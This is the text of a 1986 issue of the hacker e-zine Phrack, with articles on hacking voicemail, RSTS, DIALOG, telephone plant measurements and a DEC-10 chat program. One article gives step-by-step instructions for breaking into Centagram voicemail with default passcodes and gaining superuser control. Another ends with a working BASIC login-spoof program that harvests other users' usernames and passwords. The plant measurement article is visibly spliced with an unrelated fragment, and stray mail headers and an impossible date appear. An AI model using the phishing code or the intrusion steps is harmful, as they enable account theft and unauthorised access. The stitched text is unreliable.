==Phrack Inc.== Volume One, Issue Nine, Phile #1 of 10 Introduction """""""""""" Welcome, after an ever-too-long gap, to Phrack Inc. Issue Nine! Yes, I've waited too long to do this, but hey, what can I say. We have it together now and the file content is quite good, with some unique new writers as well as some old ones popping up again. Let me once again stress that ANYONE can write for Phrack Inc. You aren't required to be on a particular board, much less a board at all, all you need is some means to get the file to us, as we do not discriminate against anyone for any reason. This Phrack issue contains the following: #1 Introduction to Phrack Inc. Issue Nine by Taran King (1.4K) #2 Phrack Pro-Phile on The Nightstalker by Taran King (6.4K) #3 Fun With the Centagram VMS Network by Oryan Quest (3.9K) #4 Programming RSTS/E File2: Editors by Solid State (12.9K) #5 Inside Dialog by Ctrl C (8.4K) #6 Plant Measurement by The Executioner (12.8K) #7 Multi-User Chat Program for DEC-10's by TTY-Man and The Mentor (6.5K) #8 Introduction to Videoconferencing by Knight Lightning (10.5K) #9 Loop Maintenance Operations System by Phantom Phreaker and Doom Prophet (17.2K) #10 Phrack World News VIII by Knight Lightning (16.3K) ==Phrack Inc.== Volume One, Issue Nine, Phile #2 of 10 ==Phrack Pro-Phile VI== Written and Created by Taran King 9/28/86 Welcome to Phrack Pro-Phile VI. Phrack Pro-Phile is created to bring info to you, the users, about old or highly important/controversial people. This month, I bring to you a particularly influential user from days of old... The Nightstalker ~~~~~~~~~~~~~~~~ The Nightstalker was involved with Tap and 8080B, the first home computer which he helped build for NY Telephone. ------------------------------------------------------------------------------ Personal ~~~~~~~~ Handle: The Nightstalker Past handles: Stainless Steel Rat, The Old Wazoo, C.T. Handle origin: TV movie and series called "The Nightstalker" Date of Birth: 12/51 Age at current date: 34 years old Height: 6'+ Weight: 200+ lbs. Eye color: Blue-Green Hair Color: Brownish-Black Computers: ALTAIR 8080B, Apple IIe, Commodore 64 ------------------------------------------------------------------------------ The Nightstalker started in the phreak world in 1971 due to the Esquire article on blue boxes and YIPL magazine. He obtained his first blue box by January, 1972. He started hacking in 1975 after obtaining a TI Silent 700 Series, Model 700 exceedingly dumb terminal. He stumbled upon ARPAnet in Massachusetts, the bridge at MIT...1 hour later, he figured out how to get on. He toyed with the MIT exchange and found the MULTICS system and their artificial intelligence system. They were just beginning to use a language called LISP at the time. He also helped with the building of the ALTAIR 8080B, holding 22 slots for cards 4 inches thick, 18 of which were used to get 16K on the computer. He helped out NY Telephone with "Let's Get Together", a game at fairs which utilized Area Codes for answers. He also was involved with the standard old phone phreak tricks like a loop around the world from one phone booth to the one next to it. His first computer was a Commodore 64 due to the cost to him (free) and it was easier to upgrade than the Apple IIe (pick up a brochure on Commodore and see how many voices it has as well as the tone range...I'm sure that it covers 2600 hz quite nicely). Members of the telecom world which he has met include Cheshire Catalyst, Captain Crunch, Steve Wozniak, and Bill Gates (head of Microsoft). He has met many phone phreaks at science fiction conventions, but doesn't know them by name or handle. ------------------------------------------------------------------------------- Interests: Telecommunications (modeming, phreaking, hacking), telecomputing, science fiction, short wave radio, scanner listening, classic music, and shooting. The Nightstalker's Favorite Things ---------------------------------- Women: Goes without saying; preferably ones involved in science fiction as an interest or a hobby. Sci-Fi Cons: He attends many and has met many phreaks through them. Short wave radio: As previously mentioned, scanning. Hack: A classic hack (scam), participating in or hearing of. Anarchy: Confusing people with authoritative positions. Shooting: Target shooting or machine guns. Space programs: Obsessed since Sputnik program. Most Memorable Experiences -------------------------- Machine gun gallery in Atlanta, Georgia. Lots of fun! First time he hacked his way into a trade show. Boxing a call to AUTOVON and to Lebanon during U.S. occupancy and billed the call to the local KKK member. Some People to Mention ---------------------- Ron Rosenbaum (wrote the Esquire article on Blue Boxes [all his fault]). Various science fiction authors. Wozniak and Jobs (for inventing the Apple). MIT (for inventing the Altair computer). Marx Brothers (for his anarchial views towards bureaucracy). Robert Shea and Robert Anton Wilson (wrote Illuminatus Trilogy [recommended]). John Draper (for showing us all how it was done). Original MIT Hackers (for showing us the light). AT&T (for providing us with this wonderful Network). ------------------------------------------------------------------------------ The Nightstalker is not fond of the current society that claims themselves as hackers or phreakers but don't learn the systems themselves. These aren't the real hackers that sit down and literally hack away at a system. Pirates aren't hackers. Just because you have a computer doesn't mean you're a hacker. Another thing he's displeased about is the term "hacker" used by the media as anyone owning a computer. He considers the people that destroy systems criminals and fiends, not hackers. Those that find the back doors and something unknown about a system non-malevolently or without profit in mind are true hackers and phreakers. About computers, The Nightstalker has strong feelings about the symbolisms of the brand names as status symbols in society. He feels, rather than buying the computer because it's the most expensive, the neatest looking, or what everyone else has, you should buy it for it's capabilities which can help you rather than hypothetical situations many computer advertising agencies use. ------------------------------------------------------------------------------ I hope you enjoyed this phile, look forward to more Phrack Pro-Philes coming in the near future. ...And now for the regularly taken poll from all interviewees. Of the general population of phreaks you have met, would you consider most phreaks, if any, to be computer geeks? He feels that the term, "computer geek" or closer, "geek" is too relative to be able to generalize. There have been people that he's met, though, that he'd not wish to exist on the same planet with. Thanks for your time, Mr. Nightstalker. Taran King Sysop of Metal Shop Private ==Phrack Inc.== Volume One, Issue Nine, Phile #3 of 10 %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % % % Oryan Quest presents... % % % % Fun With the Centagram VMS Network % % % % Written 10/13/86 for Phrack Inc. % % % %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Introduction: Centagram VMS networks are located throughout the country. This file will briefly outline ways of defeating all Centagram security and how to become a superuser. I take full responsibility for any deaths, injuries, or venereal diseases resulted from use of the information in this file. Finding the idle VMS: Generally, the easiest way to find an idle VMS is by scanning the last digits in the net (ie: XX99, XX98, XX97 etc.). The idle VMS will identify itself by saying, "Please leave your message at the tone" or something to that effect in a clear, female, synthesized voice. It will not sound unclear in any way. AHA! You've found your victim. Attacking the idle VMS: While the "Please leave.." message is playing, hit 0. It will ID itself as "Mailbox XX99, please enter your passcode". If the mailbox does not say the above message then DON'T fuck with it. It is probably in use and any effort you make to hack it will be useless because it will just get taken over again. At this point, you must hack a 4 digit passcode. The usual defaults are as follows are 5000, 9876, 1234, and any # is that order. Usually, most accept 1000, 2000, 3000, etc. I don't think 4 digits is to much to ask. W0W! Your in! It will then tell you how to change your passcode and generally customize your newly stolen VMS. Hopping around the net: Suppose you have a friend that has mailbox 5286 and want to read his mail (if you have their passcode) or just want to listen to their announcement. You enter 9 on your VMS command module to logoff while it is saying "You have X messages remaining. Bye!" you enter the # or a 0. It will then ask you for a four digit extension. You enter 5286 and WHAM! you get their announcement. Now, wasn't that fun. Becoming the superuser: So, you want to fly higher than no man has ever done before; you want to leap high building in a single bound; you want to be a stud. Well, listen to Oryan, he'll tell you how. Well, remember how you jumped across the net?? You follow the same procedure but, when it asks you for a four digit extension, you enter 9999 or 9998 or even 0000. If you were successful, it will ask you for a second four digit extension. You will have to hack this one on your own. But, I have found on at least 3 nets that it was 1986 or 1987. Gee, people are dumb aren't they? Once you hacked this, it will give you an expanded menu. WOW! You can now, read anyone's mail, take over VMS's and disconnect VMS's. Other commands depend on the net. But you can bet there are always a bunch of k-rad commands! Conclusion: I hope you have enjoyed this file. Watch for updated versions in Phrack. If you have problems finding Centagrams, here are a few nets: 214-733-XXXX, 415-647-XXXX, 408-790-XXXX. I can be reached at 214-733-5294. Don't play with my net. If I see idle mailboxes getting taken over I will just get rid of them. There are plenty of other networks. Special thanks to: Taran King Knight Lightning, SJE, The Egyptian Lover, and Ryche. Some added notes: Call the Attila the Hun/Master Blaster loser line at 214-733-5283. (C) Quest/Sentry Productions 10/13/86 ==Phrack Inc.== Volume One, Issue Nine, Phile #4 of 10 $$$$$$$$$$$$$$$$$$$$$$$$ $ PROGRAMMING RSTS/E $ $ File2: Editors $ $ by: $ $ Solid State $ $$$$$$$$$$$$$$$$$$$$$$$$ Written (c) Oct 11, 2020 ------------------------ Within this article I will be focusing on the TECO text editor found on almost every installation of RSTS that you will pass by today. I feel it is unneeded to do a write up on the other editors such as EDT, a screen editor for VT100 and VT52 terminals, and EDFOR, a FORTRAN text editor, as most hackers will not have the proper hardware/software at their disposal. This file does not contain many tricks, but has straightforward information that most assuredly can be found in the user manual. Since not everyone has access to help documents though, this file will provide a base for the first time editor user and hopefully a reference for the experienced. If you feel otherwise.. don't waste your time reading it. Following the main portion of the file is an updated copy of the decoy trick I promised to revise that was featured in my first file. Hopefully, (I am not promising though), I have succeeded in removing all the bugs this time. USES ==== A text editor, for those of you that happen to be brain dead, is a utility similar to the word processor you use everyday on your micro: it allows a person to create, modify, and compile text files. But, also can edit, and if need be, create program files. For these reasons and many others, knowing how to use an editor thoroughly can be a major advantage to the hacker on future explorations. EXECUTING ========= Typing TECO invokes the TECO text editor. If TECO is just typed without any modifiers, then the file edited last will be placed in the editing buffer. (More on this subject can be found below under MEMORY.) To edit a different file, or create a new file, the following forms are used: TECO filename.ext To edit an existing file. TECO outfile.ext=infile.ext To edit from one file to another. MAKE filename.ext To create a new file. Other ways to execute TECO involve VT terminals, but we are not going into that much detail within this text. INITIALIZATION ============== If there is a file named TECO.INI in your directory when TECO is invoked, it is assumed to be the macro settings for a VT terminal. We don't need to bother with those, so make sure to disable the search by appending the switch /NOINI on execution. MEMORY ====== Each time TECO is executed, the name of the file being edited is placed into another file titled TECFnn.TMP where nn is your job number. If you invoke TECO and wish to edit a file different than the one currently in the memory file, select the switch /NOMEMORY. MODIFIERS ========= There are a number of options, called switches, which modify the execution of the TECO utility. Some like /NOINI and /NOMEMORY I have previously mentioned. Other important switches follow along with a short description of each. To select one of these options, append it to the call string when you invoke TECO: TECO filename.ext /[option1] /[option2] ... /FIND This places the pointer at the last marked position within the input file. /INSPECT If selected, you can only read the file, not edit. There are a few more that deal with the VT terminals, but as I've said already, there is really no need to list them. INTERRUPT ========= The control character 'C' (CTRL/C or ^C -which it shall from now on be referred to as.) is used to halt the execution of the current TECO command, the same as it does in the BASIC monitor. If ^C is typed twice without a TECO command in between, the utility is aborted. (You are returned to the keyboard monitor whichever it was.. eg. BASIC, BASIC+2, RSX..) COMMAND EXECUTION ================= When TECO is called, you will receive the * prompt. This is the command prompt. Almost all commands used by the editor are one or two characters in length and are typed in using a normal ASCII keyboard. To terminate a TECO command the sequence is used. When typed, it will echo back as a $ character. Two consecutive s must be entered before a command will be carried out. This allows you to string together a line of commands like: * [command1]$[command2]$[command3]$ ... $$ COMMANDS ======== ]Moving the Pointer[ The text pointer is used to represent where you are working, ie. if you were to enter a command, what part of the text it would affect. It's similar to the job your cursor does when writing a program on your micro. 'J' The "J" command is used to move the text pointer to the beginning or end of the editing buffer. BJ Move to the beginning of the buffer. ZJ Move to end of the editing buffer. 'L' The "L" command moves the text pointer from one line to another. Common forms of the command are: L Move to beginning of the next line. 0L Move to front of current line. 3L Move to the third line down from the current line. -1L Move back to previous line. (One above current.) ... 'C' The "C" command is used to move the text pointer past a specified number of characters, forward or backwards, on the current line. Common forms include: C Advance the pointer to the next character. 5C Move the pointer forward five characters. -5C Move back five characters. ... ]Listing Text[ There is one command with a couple various forms to list the text within the editor; they follow. 'T' The "T" is used to list text from the editing buffer. Commonly found forms are: HT Print the entire contents of the editing buffer. T Type text from the pointer to the end of the current line. 0T Type text from the beginning of the line to the text pointer. 5T Print the next five lines of text from the buffer, starting where the pointer is located. ... ]Entering Text[ What use is an editor if you can't add to the text? There is one command, insert, which allows you to write. If you are creating a file from scratch, you would enter the insert command each time you wanted to add a new line to your document. 'I' The "I" command is used to insert text into the buffer. After issued, the text entered will be placed where the text pointer is located. The command is of the form: I For example, to insert the sentence, "This is an example.", type: IThis is an example$ (Note: Remember that echoes back to your screen as $) ]Deleting Text[ The TECO text editor makes it easy to delete words, sentences, etc. from the buffer. There are two different commands used, line delete, and letter delete. 'K' The "K" issued when you choose to delete lines of text from the editing buffer. Common forms are as follows: K Delete the text from the pointer through the end of the current line. 0K Delete the text from the beginning of the line to through the pointer. 5K Omit the following five lines from the buffer. HK Kill the entire contents of the buffer. ... 'D' The "D" appropriately is used to delete individual characters. A few of the forms found are: D Delete the character which follows directly after the text pointer. 5D Delete the following five characters from the text, starting from the pointer. -1D Delete the character directly behind the pointer. ... ]Searching[ All good word processors include a routine to search and replace a string of text. So does the TECO text editor. Two forms are used, the locate text, and the search and replace text commands. 'S' The "S" is used to locate a specified string of text currently in the editing buffer. If the text is found, the pointer is positioned directly after the specified text. If the string is not found, an error message results and the text pointer is placed at the beginning of the buffer. S For example, to locate "This is an example.", enter: SThis is an example.$ 'FS' "FS" for find and replace does exactly that. It searches for a specified string of text, and if found replaces it with another sting of text. If the specified text is not found though, the pointer is positioned at the beginning of the buffer just like the "S" command. The "FS" command is of the form: FS For an example, to replace "hullo" with "hello!", use the command: FShullo$hello!$ ]Saving[ To save the new version of the file which you have been editing, you enter the exit command and it shall be saved in your directory. Remember though, if you wish to quit but not replace a file with your edited version, just type ^C twice. 'EX' The "EX" command is used to write the current buffer to the output file, then exit from TECO. For example: EX$$ (Note: Remember that is echoed as $, and typing twice causes a command to be executed.) FLAGS ===== The TECO text editor is not limited to the commands already shown. The editor has a few flags which can be entered at the * prompt that will modify the TECO environment. To examine the value of a flag type: [flag]x Where [flag] is the specified flag and x is a numeric argument which returns text. To set the value of a flag enter: x[flag] Where x is the number or command being specified for the flag [flag]. 'EH' EH is the error handling flag. Here's the table of arguments and their meanings: Value Meaning 1 If an error is encountered within the operation of TECO, only the 3-character error code is printed. 2 If an error is encountered during operation, a short message explaining the error is printed. (default setting) 3 If an error is encountered, the command(s) which led to the error are printed. 'ET' ET, or Edit Terminal, is the command for modifying terminal output. Table of arguments follows: Value Meaning 1 Output is in image mode. 2 Terminal in use is a scope. 4 Terminal in use has lowercase available. 8 ^T is read without echo. 16 Cancels ^O during output. 128 TECO aborts if an error is encountered. 256 Output to screen is truncated to the terminal's width. 512 VT terminal support available. 1024 (same as above) 32768 Traps ^C '^X' ^X, the last flag I'll mention, deals with searches. (Look above for the command to search.) Value Meaning 0 Either case matches during searches. 1 An exact case match is required to complete a search. CONCLUSION ========== That just about wraps up the TECO text editor.. boring eh? But as I've said time and again, editors are important to hackers. Till next time... Solid State >>>PhoneLine Phantoms! _______________________________________________________________ File1- Addendum: Here's the updated version of the decoy program (yeah, the one that had an error!) that was featured in File1. The concept of this revision is slightly different, but it 'should' work more efficiently and easily than the first. To execute the program, first do a SYstat and record the KB numbers of potential targets. Run the program, and enter the number of the KB only.. (Don't hang up!) ..then just wait till the program has ended and then check the output file. Note: This listing will not without modification work on all systems or under all conditions. 1 ! R S T S decoy 10 EXTEND 100 ON ERROR GOTO 1000 120 PRINT CHR$(140):PRINT:PRINT 130 INPUT "To which keyboard (KB)";K$ 140 K$=CVT$$(K$,4%) 200 OPEN "KB:"+K$ AS FILE #1% 220 INPUT LINE #1%,A$ 230 IF CVT$$(A$,4%)="" THEN 220 240 PRINT #1% 240 PRINT #1%,"RSTS" 250 PRINT #1% 260 PRINT #1%,"User: "; 270 INPUT LINE #1%,U$:U$=CVT$$(U$,4%) 280 T$=SYS(CHR$(3%)) 290 PRINT #1%,"Password: "; 300 INPUT LINE #1%,P$:P$=CVT$$(P$,4%) 310 Z$=SYS(CHR$(2%)) 320 PRINT #1% 330 PRINT #1%,"Invalid entry - try again":PRINT #1% 340 CLOSE #1% 400 OPEN "DATA.TXT" FOR OUTPUT AS FILE #2% 410 PRINT #2%,U$;";";P$ 420 CLOSE #2% 999 END 1000 PRINT "?ERROR line #";ERL:STOP ==Phrack Inc.== Volume One, Issue Nine, Phile #5 of 10 <*************************************************> <* *> <* Inside Dialog *> <* By *> <* Ctrl C *> <* Advanced Telecommunications Inc. *> <* *> <*************************************************> DIALOG is one of the largest online databases. DIALOG currently provides access to over 250 databases containing a total of over 100 Million records. The range of information available is enormous. BEGIN: The BEGIN command starts a search and tells Dialog which database you want it to check out. The BEGIN command is followed (without a space) by the file number of the database you want. Either of the following ways could get you into the file 229 (Drug information): Begin229 or B229 Dialog will then put the date, the time, your user number, and what it costs for the database you just left. For example, if you move from ERIC (file 1) to Management Contents (file 75) it would look like this: ------------------------------------------------------- ? b75 28sep86 13:59:25 User08331 $0.10 0.00 Hrs File1 $0.02 Uninet $0.12 Estimated Total Cost File75:Management Contents - 74-86/Sep (Corp. Management Contents Inc.) Set Items Description ___ _____ ___________ ------------------------------------------------------- EXPAND: The EXPAND command is used to pick keywords for a search. You can search for any word; but knowing how common a word is gives you a good idea where to start your search. All databases have a index of searchable words. You can see if there are any words of the same spelling to a keyword you want to search for. For example: ------------------------------------------------------- ? Expand Drink Ref Items Index-term E1 1 Drina E2 1 Drinfeld E3 31 *Drink E4 2 Drinkers . . . . . . . . . E12 3 Dripping ------------------------------------------------------- The word -more- at the bottom of the screen means that typing Page or P will display another screen of information. SELECT: When you find the word you want to search for, you use the SELECT command to tell the database what to search for. The SELECT command can be followed with one or more search terms. SELECT STEP: The SELECT STEP command works just like the SELECT command, except the files it finds are listed separately. ------------------------------------------------------- ? SS television? OR tv 1 21347 TELEVISION 2 6376 TV 3 22690 1 or 2 ? SS s3 AND violen? AND child? 4 1680 VIOLEN? 5 20577 CHILD? 6 38 3 AND 4 AND 5 ------------------------------------------------------- TYPE and DISPLAY: There are two commands, TYPE and DISPLAY, that you can use to look over the information you have found. The difference is the TYPE command causes a non-stop list of the information. The DISPLAY lets the information to list a page at a time, you have to type PAGE or P to see the next page. DIALOG offers nine formats to display retrieved files. Format Parts of Record Listed ~~~~~~ ~~~~~ ~~ ~~~~~~ ~~~~~~ 1 Accession Number 2 Complete record except abstract 3 Bibliographic citation 4 File dependent 5 Complete record 6 Accession number and title 7 Bibliographic citation and abstract 8 Accession number, title, and indexing 9 File dependent LOGOFF: The LOGOFF command has no abbreviation. It's self explanatory. DIALOG is has help commands, typing ?HELP, or ?EXPLAIN will give you help. ------------------------------------------------------- ? ?EXPLAIN Valid EXPLAIN commands are: Basic Commands: ?BEGIN ?ENDSDI ?MAPRN ?SCREEN ?COMBINE ?EXPAND ?ORDER ?SELECT ?COST ?KEEP ?PAGE ?SFILES ?DISPLAY ?LIMIT ?PRINT ?SORT ?DS ?LIST ?REVIEW ?TYPE ?ENDSAVE ?LOGOFF *** News/Status: ?DIALINDX ?FILESUM ?ONTAP ?SUBSCRIP ?DISCOUNT ?HELP ?RATES ?SUPPLRS ?EXPLAIN ?INSTRUCT ?SCEDULE ?TOLLFREE ?FILES ?MESSAGE ?SDI ?TRUNCATE ?FILESAZ ?NEWS ?SEMIARS ?UPDATE *** Telecommunication Access: ?ACCESS ?DIALNET ?SABD ?TRANSPAC ?DARDO ?FINNPAK ?TELENET ?TWX ?DATAPAC ?IDAS ?TELEPAKD ?TYMNET ?DATEX ?NORPAC ?TELEPAKS ?UNINET ?PSS ?TELEX ?WATS *** File Information: ?FIELDn* ?FILEn* ?LIMITn* ?RATESn* *Enter desired file# in place of the n *** Training (DIALOG Service): ?TRAIN (For information on DIALOG training sessions, including descriptions of particular training sessions.) *** Training (Database Suppliers): ?ANZNEWS (Australia/New Zealand) ?CANNEWS (Canada) ?EURNEWS (Europe) ?KINONEWS (Kinokuniya Japan) ?MMCNEWS (Masis Japan) ?USNEWS (United States) *** Online User Group News: ?CANOUG ?OUGNEWS MMCOUG ?USOUG ?EUROUG ------------------------------------------------------- Logging on For: Type: Telenet C 41520 C 41548 C 213170 C 213236 Tymnet DIALOG UNINET DIALOG Dialnet DIALOG To dial directly: Baud: Number: 300 415/858-2575 300 415/858-2461 1200(Bell 202) 415/858-2421 1200(Bell 212A)415/858-0511 1200(Bell 212A)415/858-2460 1200(VADIC) 415/858-2391 WATS: 1-800/847-1620 1-800/792-6680 When it connects type P. When you connect it will say ENTER YOUR DIALOG PASSWORD. Passwords are usually eight letters long. When you type the correct password you will see something like this: ------------------------------------------------------- ENTER YOUR DIALOG PASSWORD XXXXXXXX LOGON File1 Sun 28sep86 18:35:12 Port866 ** FILES 13,104 & 139 ARE UNAVAILABLE ** ** FILE 262 SROTS ARE NOT WORKING ** ** FILES 7 AND 50 ARE NOT WORKING ** And a bunch more shit.. ------------------------------------------------------- When the announcements are done, you are given a question mark (?). The first command you will want is to move to a database. This is done by typing B(no space) and a the database number. ------------------------------------------------------- ? B296 28sep86 18:37:22 User08331 $0.00 0.006 Hrs File1* $0.05 Telenet $0.05 Estimated Total Cost File296:ONTAP TRADEMARKSCAN - O.G. (END/SAVE, END/SDI, .EXECUTE, .RECALL, & .RELEASE invalid for file) Set Items Description --- ----- ----------- ------------------------------------------------------- I don't have a list of all the databases, you'll just have to play around with it. Here's a few I know of: File Database ---- -------- 75 Management Contents 201 ERIC 204 CA Search 205 BIOSIS Privews 208 Compendex 213 INSPEC 215 ABI/INFORM 216 PTS Prompt 229 Drug Information 231 CHEMNAME 247 Magazine Index 250 CAB Abstracts 254 Medline 290 Dialindex 296 TrademarkScan Summary of command Abbreviations B=BEGIN E=EXPAND S=SELECT SS=SELECT STEP T=TYPE D=DISPLAY PR=PRINT P=PAGE Dialog Training office 1-800-227-8282 or 1-800-982-5838 Have Fun.. <----Ctrl C----> ATI! ========================================================================= Received: (from LISTSERV@PSUVM for TK0EEE1@UCLAMAIL via NJE) (LISTSE00-8268; 328 LINES); Wed, 20 Dec 89 09:57:41 CST Date: Wed, 20 Dec 89 09:57 CST To: TK0EEE1 From: LISTSERV@PSUVM ==Phrack Inc.== Volume One, Issue Nine, Phile #6 of 10 [<+>]->->->->->->->->->->PLP<-<-<-<-<-<-<-<-<-<-[<+>] |-| --- |-| |P| S [+] The Executioner [+] L |P| |h| t [+]-PhoneLine Phantoms!-[+] i |h| |a| a |-|-===================-|-| n |a| |n| l |S|-| -Present- |-|S| k |n| |t| a |e|-===================-|e| o |t| |o| g |x|-|Plant Measurement|-|x| L |o| |m| |y|-===================-|y| a |m| |s| 1 |-|-| Thanks to AT&T. |-|-| n |s| |-| 3 [+]-===================-[+] d |-| |P| |P| |L| [+] Carrier Culprit [+] Egyptian Lover |L| |P| [+] The Executioner [+] Solid State |P| |-| [+] Black Majik [+] Mr. Icom |-| |$| ----------------------------------------- |$| [<+>]->->->->->->->->->->PLP<-<-<-<-<-<-<-<-<-<-[<+>] Preface ======= This first part in a series of three deals with how your CO measures its efficiency and hardware performance. I don't know how far I will go in this first segment so whatever I don't finish will be completed in parts two and three. Introduction ============ Have you ever gone trashing and the only thing you found was a large printout that looked like it was written in Chinese? Did you curse yourself because you spent 30 minutes digging through someone's lunch and digestive rejectables and the only thing that was readable was a large spool that contained such acronyms as TRUNK and CAMA and LATA linked by foreign letters that you never thought could be conjugated? Well, in this 3 part series, I hope to show you that that large printout with coffee stains isn't all useless. Types of Measurements ===================== Now, the way your CO determines how well it is serving you is by the Plant Measurement. The purpose of these measurements is to provide maintenance personnel with a quantitative summary of the condition of the hardware and its impact on customer service. This data is printed out at the system terminal and is used to alert personnel about problems before they occur. Plant Measurement data is printed on the maintenance terminal via the following output messages: 1. PM01 - The PM01 is a daily printout which is printed daily at 2:30 am. 2. PM02 - The PM02 is a monthly summary printed immediately after the daily PM01 printout only on the 23rd of each month. 3. PM05 - The PM03 is a daily printout which is printed after the PM01 or PM02 (on the 23rd). The PM05 is utilized in offices equipped with the AUTOPLEX System 100 (Advanced Mobile Telephone Service). 4. PM03 - This is a daily or monthly printout which is available upon manual request. ------------------------------------------------------------ The counts provided by the plant measurement are basically 3 types: 1. Customer Service Measurements 2. Hardware Performance Measurements 3. Base Measurements Customer service measurements are a measure of the service received by the customer as influenced by the condition of the system's hardware. These include the number of calls to billings that are offered to the system but are delayed or lost because of marginal or faulty equipment. Hardware Measurements are an indication of the condition of the system hardware which is described in terms of the number of errors, trouble indications, and out of service intervals. These measurements may not reflect customers directly, but do indicate how well the system is functioning. Base Measurements that are provided are counts of the total calls carried by the system broken into various categories. These counts are necessary to normalize service counts and performance counts of mechanical units if comparisons are to be made of offices with dissimilar traffic characteristics. Daily PM01 Output Message ========================= The daily Plant Measurement data in the PM01 output message is organized as follows: o Base Measurements o Selected Customer Service Measurements o Maintenance Measurements including emergency action (EA), maintenance interrupts, and network failures o Performance measurements of system hardware including the central processor and bus system o Coded enable peripheral units, peripheral units, and trunk and service circuits. o Time-Out totals o Attached processor measurements o Circuit Switch Digital Capability measurements o Improved Public Telephone Service measurements o Remote Switch System measurements =================== =Base Measurements= =================== The base measurements provided by the PPMP1A00 are needed to normalize the service counts and performance counts of units whose uses vary with the traffic load. By using these counts, meaningful comparisons can be made with past performance and with the performance of offices with dissimilar traffic characteristics. The counts are taken in terms of carried load (excluding all traffic overflow). The BASE MEASUREMENTS are as follows, with the printout in parenthesis: 1. Originate Calls (ORIG CALLS): Counts the number customer receiver seizures for which at least 1 digit is received. The count includes partial dials (but not permanent signals) as well as additional partied added to a conference circuit. The PPMP1A00 obtains this from the traffic measurements program. 2. Incoming Calls (INC CALLS): Counts the number of calls originating from trunks incoming from distant locations that seize an incoming register (and in the case of a by-link, receive one digit). The PPMP1A00 obtains this count directly from the traffic measurements program. 3. Outgoing Calls (OUTG CALLS): Counts the number of calls for which outpulsing is required and a transmitter is successfully seized. 4. Coin Control Seizures (COIN CONTR SEIZ): Counts the number of times the coin control circuit is successfully connected to a coin line. This count will exceed coin line originations as the coin control circuit may be seized more than once during a call. 5. CAMA Seizures (CAMA SEIZ): Counts then number of times an incoming CAMA trunk (operator or ANI) is seized. 6. AMA Entries (AMA ENTRIES): Counts the number of billing entries put on AMA tape. 7. Automatic ID. Outward Dialing Seizures (AIOD SEIZ): Counts the number of successful connections to an AIOD receiver. 8. Centrex Data Link Seizures (CTX DL SEIZ): Counts the number of connections to a centrex DL for transmission or reception of lamp and key orders. This is NOT a count of centrex calls. 9. Output Message Register (OMR SEIZ): Counts the number of seizure output message registers. ====================== =Service Measurements= ====================== The service measurements give valid indications of the level of customer service. A count of the calls lost by the system, as a result of hardware malfunctions, is a significant measure of the influence of the condition of the central office hardware on customer service. The following service measurements are provided. 1. Hardware Lost Calls (HWR LOST CALLS): Counts the number of calls dropped when a trunk is suspected and is placed on the trunk maintenance list (TML) for diagnosis or when a network failure has occurred on the call. 2. Hardware Lost Billing (HWR LOST BILLING): Counts the number of calls not billed because both AMAs are out of service (local, long distance, and special service calls are allowed to proceed without billing). 3. Coin Control Failures (COIN CONTR FAILURES): Counts the number of stuck coin conditions and coin telephones served by the office which had coin relays that were out of limits. 4. Automatic Identification Outward Dialing Special Billing Number Billing (AIOD SBN BILLING): Counts the number of times the AIOD equipment fails to bill a local PBX number correctly. 5. Dial Tone Speed Test (DTST): Counts the number of times the customer has to wait an excessive amount of time for the system to process the call because trunks in the desired trunk group are busy or the system is overloaded, causing queuing for equipment. The count includes 3-second and 11-second delays. NOTE: Maintenance personnel may find it necessary to suspend the running of the DTST because in certain trouble conditions DTST may generate traffic that would interfere with maintenance activities. Extended or frequent use of this feature is not recommended. To discourage the unnecessary use of this function, the PM01 output message will include a one-line message alerting maintenance personnel to it's use. 6. CAMA Lost Billing (CAMA LOST BILLING): Counts the number of times a CAMA call is handled but due to hardware failure, no AMA register is available which is necessary for billing. 7. CAMA ANI Failures (CAMA ANI FAILURES): Counts the number of calls for which ANI failure digit is received. 8. Receiver Attachment Delay (RCVR ATT DELAY): Counts the number of times a receiver connection was not made in 4 seconds. 9. Receiver Attachment Delay Recorder (RADR Inhibit Usage): Counts tR described . This is rather simple when you think about it and is one example of how a once shattered network is working together. Some Sample CP ID Uses ---------------------- This can be used by large telephone ordering companies to instantly display a record of that persons credit, previous orders, etc... before the call is even answered on the attendant's terminal. When someone logs onto a computer, the originating # is listed on the user log along with the account name, etc... so that if--------- The software EA phases may be initiated by the following sources: 1. A failure by the system to answer an interrupt request 2. An E-to-E cycle becoming excessive 3. An E-to-E priority class frequency failure 4. An excessive rate of interrupts 5. Two successive data validation failures 6. The time spent in a phase becoming excessive 7. Aborting of a phase The number of EA phases is printed on the PM01 output message. Interrupts ---------- The number of various maintenance interrupts provides a picture of nonroutine maintenance action taken by the system. These interrupts are generally not as serious as a higher order EA phase, but they do interrupt normal call processing to correct possible hardware problems. A counts of these interrupts will give a good indication of the state of the systems' equipment. This is printed on the PM01 output message. Network Failures ---------------- The network failure counts are provided to give an indication of how well the network is completing and terminating calls. Each time a network failure occurs in the system an 'NT' output message is printed. The following are printed as part of the PM01 message: 1. Supervisory Scan failure (SUPF) 2. False cross and ground test failure (FCGF) 3. Ringing Current Failure (RC) 4. Low-line resistance failure (LLR) 5. Power Cross test (PX) 6. Restore verify failure count (RVFY) 7. Showering line test failure (SHWL) 8. Call Cutoff Failure (CO) ================================ =An Example of the PM01 Message= ================================ PM01 201-232 PLANT MEASUREMENTS SUMMARY TUES 10/17/86 SERVICE AFFECTING DATA BASE MEASUREMENTS 2 ORIG CALLS 1 INC CALLS 0 OUTG CALLS 0 COIN CONTR FAILURES 0 OMR SEIZ 34 CAMA SEIZ 0 AMA ENTRIES 0 AIOD SEIZ 0 CTX D-L SEIZ SERVICE MEASUREMENTS 0 HWR LOST CALLS 0 HWR LOST BILLING 0 COIN CONTR FAILURES 0 AIOD-SBN BILLING 0 DTST DELAYS 0 CAMA LOST BILLING 0 CAMA ANI FAILURE 0 RCVR ATT DELAYS 0 RADR INHIBIT USE 2 FALSE STARTS [Note 201-232 is the area code-office code] ============================================================ = (C) Copyright Sexy-Exy and PLP 1986 = ============================================================ ==Phrack Inc.== Volume One, Issue Nine, Phile #7 of 10 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ (512)-396-1120 The Shack // presents A Multi-User Chat Program for DEC-10s Original Program by TTY-Man Modified and Clarified by +++The Mentor+++ October 6th, 1986 Intro: Unlike its more sophisticated older brother, the VAX, the DEC has no easy-to-use communication system like the VMS PHONE utility. The following program makes use of the MIC file type available on most DECs. Each user that wishes to be involved in the conference needs to run the program from his area using the 